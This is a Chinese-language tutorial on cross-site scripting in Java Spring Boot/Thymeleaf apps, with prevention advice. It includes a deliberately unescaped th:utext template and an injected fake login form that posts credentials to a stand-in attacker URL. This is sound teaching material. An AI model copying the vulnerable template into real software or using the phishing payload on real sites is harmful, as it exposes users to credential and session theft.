让我们看看什么是跨站点脚本 (XSS),它在 Java 中是如何工作的,并了解我们如何防止此类漏洞。
安全性是软件开发中的其中一个领域,正确地做到这一点非常重要。同时,通常很容易出错,尤其是在遭受非此处发明综合症并且拒绝采用可以防止许多问题发生的最佳实践和最先进工具的团队中。今天我们在这里讨论一个非常具体的安全问题:Java XSS。
我们将从定义 XSS 开始,非常简要地讨论它是什么、它的类型以及它为什么对您的应用程序如此危险。之后,我们将引导您浏览 Java 中的三个 XSS 示例列表,并向您展示应该采取哪些措施来防止它们。让我们开始吧。
Java XSS:这是什么?你为什么要关心?
“Java XSS”只是对 Java 应用程序执行的 XSS。那么,什么是 XSS?
我们有另一篇专门用来回答这个问题的帖子,我们建议您查看一下。不过,这是简短的版本。
XSS 代表跨站点脚本。这是一种探索网站漏洞并注入恶意客户端脚本的攻击,然后由用户执行。恶意注入脚本可能会导致许多不同的影响,从基本无害到可能造成灾难性后果。非常成功的 XSS 攻击可以让攻击者访问用户的个人数据。甚至可以通过窃取用户的会话 cookie 来劫持用户的会话,在这种情况下后果可能很严重。
Java XSS 示例
无论后端语言如何,Web 应用程序都可能遭受 XSS 攻击。Java当然也不例外。因此,我们现在将向您介绍三个基本示例,说明对 Java 应用程序的未遂 XSS 攻击可能是什么样子以及如何防止它们。
示例 #1:通过参数注入的 XSS
对于我们的第一个示例,我们将展示可以通过查询参数完成的基本 XSS 攻击。例如,我们将使用一个 Spring Boot 应用程序,它只需将名称作为输入参数,然后显示“Hello, !”
编码
这是应用程序控制器的外观:
package com.example.demo;
import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestParam;
@Controller
public class GreetingController {
@GetMapping("/greeting")
public String index(@RequestParam(name="name", required=true) String name, Model model) {
model.addAttribute("name", name);
return "greeting";
}
}
控制器定义了一个索引操作方法,该方法将映射到/greeting路由。该方法定义了一个必需的字符串参数,称为name
. 然后它将接收到的值作为属性添加到模型中。
现在让我们看看我们对此操作的看法:
<!DOCTYPE HTML>
<html xmlns:th="http://www.thymeleaf.org">
<head>
<title>Getting Started: Serving Web Content</title>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
</head>
<body>
<p th:utext="'Hello, ' + ${name} + '!'" />
</body>
</html>
如您所见,这里发生的事情非常简单。name变量的值是用户作为查询参数传递的值,它被连接到一条消息,然后视图在标签内显示该消息。这里没有火箭科学。
攻击
如果我运行应用程序并将我的名字作为查询参数传递,这就是我所看到的:
相当不起眼,对吧?所以有什么问题?好吧,让我们从检查是否可以输入一些 HTML 开始:
这是个坏消息。我们确实设法输入了这样解析和显示的 HTML 代码。假设我们要运行以下 JavaScript 行:
我们能做到吗?让我们来看看:
如您所见,当前代码是不安全的。我们设法潜入并运行了一段无害的 JavaScript。同样,一个坏演员肯定会运行一个有害的脚本。他们可以向毫无戒心的用户发送一个 URL,使他们点击这些链接,并将恶意脚本作为参数传递。例如,攻击者可以使用恶意脚本窃取用户的 cookie,从而有效地劫持其会话。
如何防止这种情况
上面的例子就是我们所说的反射型或非持久性 XSS。您可以采取的一项措施是逃避用户输入。我们示例中的视图有一个故意的错误,以允许未转义的内容按原样显示。请注意以下行:
<p th:utext="'Hello, ' + ${name} + '!'" />
在上面的行中,我们使用 Thymeleaf 模板引擎在视图中显示问候语。注意utext
属性处理器的使用。这代表未转义的文本,也是显示 HTML 标记的原因。让我们通过将属性更改为来解决这个问题text
:
<p th:text="'Hello, ' + ${name} + '!'" />
现在,如果我尝试潜入一段 JavaScript,我会得到:
成熟的框架(例如 Spring)通常具有安全功能,如果使用得当,可以保护您的应用免受最常见类型的攻击。这可能是使用第三方工具(如框架和库)的最佳商业案例之一:它们通常默认提供的安全产品。
示例 #2:使用虚假表单窃取用户凭据
XSS 的用例几乎是无限的。他们只受攻击者的独创性和您的应用程序的漏洞的约束。让我们探索另一种场景,展示攻击者如何创建虚假表单以使用 XSS 窃取用户凭据。
编码
对于此示例,我们将使用与前一个相同的代码示例,但有一处更改。我们将把th:text
Thymeleaf 属性改回,th:utext
这样我们就可以摆脱提供 HTML 标记作为输入。
攻击
对于这种攻击,攻击者想要注入并显示一个简单表单的 HTML 代码:
<h3>LOGIN</h3>
<form action=http://some-evil-address.com>
<label for="username">Username:
</label>
<input type="text" name="username" id="username" />
<label for="password">Password:</label>
<input type="password" name="password" id="password">
<input type="submit" value="OK">
请注意,表单的 action 属性指向攻击者控制的 URL。这里的想法是诱使毫无戒心的受害者使用此表单提交他们的凭据。为了做到这一点,攻击者可以简单地将表单的 HTML 作为查询参数传递给易受攻击的站点,并与受害者共享该 URL,这就是所谓的网络钓鱼攻击:
当然,这是一个玩具示例。真正的攻击可能会使用样式来使假表格看起来尽可能逼真,目的是引诱更多人进入陷阱。
如何预防
与前面的示例一样,防止这种攻击包括转义内容,以便不显示标签。对于 Thymeleaf 模板语言,这意味着使用安全的th:text属性。
示例 #3:通过表单的 XSS
对于我们的第三个也是最后一个示例,我们不会使用代码示例。相反,我们将使用一个故意对 XSS 不安全的演示站点,以允许人们进行练习。这是该网站的外观:
攻击
为了执行攻击,我们将利用不受保护的站点的评论功能。让我们从点击议程开始。然后,我将单击列出的任何会谈。我将看到一个允许我输入评论的表单:
我会正常输入我的名字。但是,我的评论将是一个显示消息的 JavaScript 片段:
提交表单后,将显示警报:
如何预防
由于这是一个演示站点,我们无法知道使用了哪个技术堆栈来构建它,因此我不会在此处提供任何预防示例代码。只需说相同的原则适用:Java 或其他方式,您必须研究并采用具有内置功能的成熟工具和框架来应对最常见的安全漏洞。
XSS:更多预防方法
在这篇文章中,我们介绍了一些 Java 中的 XSS 示例,展示了如何防止它们。在简要解释了 XSS 是什么以及为什么它会对您的应用程序的安全构成如此危险的威胁后,我们这样做了。
这是这篇文章的主要内容:永远不要相信来自应用程序外部的数据。始终将任何类型的输入视为可疑输入,直到您将其转义为止。
在转义之前,输入验证是处理用户输入时的另一个有价值的策略。对于某些类型的数据,使用“允许列表”方法可能是有意义的,其中您有一个可以接受的有效数据列表,而其他所有数据都被拒绝。
最后,您可以使用一些工具,不仅可以帮助您应对 XSS,还可以帮助您应对其他类型的安全威胁。您可以将这些检查添加到您的 CI/CD 管道中,让您在软件开发过程中尽早发现威胁。